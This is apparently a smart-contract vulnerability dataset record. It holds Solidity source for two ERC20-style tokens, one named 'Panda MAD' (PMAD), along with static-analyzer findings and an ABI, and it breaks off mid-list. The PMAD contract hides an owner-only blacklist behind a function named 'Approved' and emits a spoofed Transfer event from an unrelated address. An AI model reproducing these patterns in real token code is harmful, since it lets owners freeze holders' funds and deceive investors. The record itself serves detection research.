(bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
[{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["102"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["63"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["89", "86"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [64]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [89, 90, 91, 92, 93, 94]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [48]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [220, 221, 222]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [34, 35, 36, 37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [88, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [212, 213, 214]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [51]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [49]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [50]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [46]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [201, 202, 203, 204, 205, 206]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AlternativeGeneration.sol": [32, 33, 30, 31]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"AlternativeGeneration.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"AlternativeGeneration.sol": [212, 213, 214]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"AlternativeGeneration.sol": [87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AlternativeGeneration.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AlternativeGeneration.sol": [106]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"AlternativeGeneration.sol": [119]}}]
[{"error": "Integer Underflow.", "line": 129, "level": "Warning"}, {"error": "Integer Underflow.", "line": 103, "level": "Warning"}, {"error": "Integer Underflow.", "line": 104, "level": "Warning"}, {"error": "Integer Overflow.", "line": 201, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 120, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 121, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 93, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 129, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 46, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 47, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 48, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 128, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 136, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 191, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 162, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 212, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 212, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 64, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 201, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 108, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 109, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.26+commit.4563c3fc
false
200
Default
None
false
bzzr://bd1c8417340b908aaee0e719a0794d2858d910c8fa46faa45251837850c12c3d
PMAD
0x28b761b3ea30b9a98b3ab7e3898469a95cc840e4
Solidity
pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PMAD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Panda MAD"; string private constant _symbol = "PMAD"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xea39A20a42ae87d4AB434608db00E25930854fB7); _feeAddrWallet2 = payable(0xea39A20a42ae87d4AB434608db00E25930854fB7); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x9d534b870a168Ca487Ae43Ec6409800E26DBaA76), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 1; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function Approved(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [184, 185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [160, 161, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [80, 81, 78, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [284, 285, 286]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [176, 177, 178, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [278, 279, 280, 281, 282]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [163, 164, 165]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [155, 156, 157]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [192, 193, 189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [168, 169, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PMAD.sol": [180, 181, 182]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PMAD.sol": [69, 70, 71]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PMAD.sol": [69, 70, 71]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [129]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [278, 279, 280, 281, 282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [98]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [127]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"PMAD.sol": [271]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"PMAD.sol": [208]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"PMAD.sol": [309]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"PMAD.sol": [274]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"PMAD.sol": [308]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"PMAD.sol": [242]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"PMAD.sol": [191]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [242]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [191]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [328]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [337]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [125]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [293]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [293]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [328]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [328]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [337]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [293]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [337]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"PMAD.sol": [223]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [273]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PMAD.sol": [118]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"PMAD.sol": [270]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"PMAD.sol": [275]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"PMAD.sol": [109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 145, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 146, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 152, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 266, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 80, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 184, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 279, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 279, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 59, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 60, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 111, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 112, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 113, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 114, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 115, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 116, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 117, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 118, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 119, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 120, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 122, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 123, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 124, "severity": 1}, 